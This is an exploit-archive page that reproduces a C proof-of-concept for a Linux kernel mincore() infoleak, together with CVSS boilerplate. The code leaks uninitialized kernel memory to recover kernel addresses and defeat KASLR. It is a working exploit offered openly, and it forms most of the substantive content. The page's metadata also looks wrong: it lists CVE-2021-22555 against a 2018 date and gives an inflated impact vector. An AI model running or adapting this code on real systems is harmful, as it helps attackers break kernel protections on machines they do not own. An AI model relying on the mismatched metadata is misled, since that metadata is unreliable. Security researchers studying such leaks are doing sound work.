Advertisement

Linux Kernel mincore() Heap Page Disclosure (PoC)

CVE	Category	Price	Severity
CVE-2021-22555	CWE-200	Not disclosed	High

Author	Risk	Exploitation Type	Date
Adam Nichols	High	Local	2018-03-20

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018030156

Below is a copy:

Linux Kernel mincore() Heap Page Disclosure (PoC)

/*
 * The source is modified from 
 * https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
 * I try to find out infomation useful from the infoleak
 * The kernel address can be easily found out from the uninitialized memory
 * leaked from kernel, which can help bypass kaslr
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

int main(void) {
  unsigned char buf[getpagesize()/sizeof(unsigned char)];
  int right = 1;
  unsigned long addr = 0;
  
  /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  while(right){
    /* Touch a mishandle with this type mapping */
    if (mincore((void*)0x86000000, 0x1000000, buf))
      perror("mincore");
    for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) {
      addr = *(unsigned long*)(&buf[n]);
      /* Kernel address space, may need some mask&offset */
      if(addr > 0xffffffff00000000){
right = 0;
goto out;
      }
    }
  }
 out:
  printf("%p\n", addr);
  return 0;
}

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum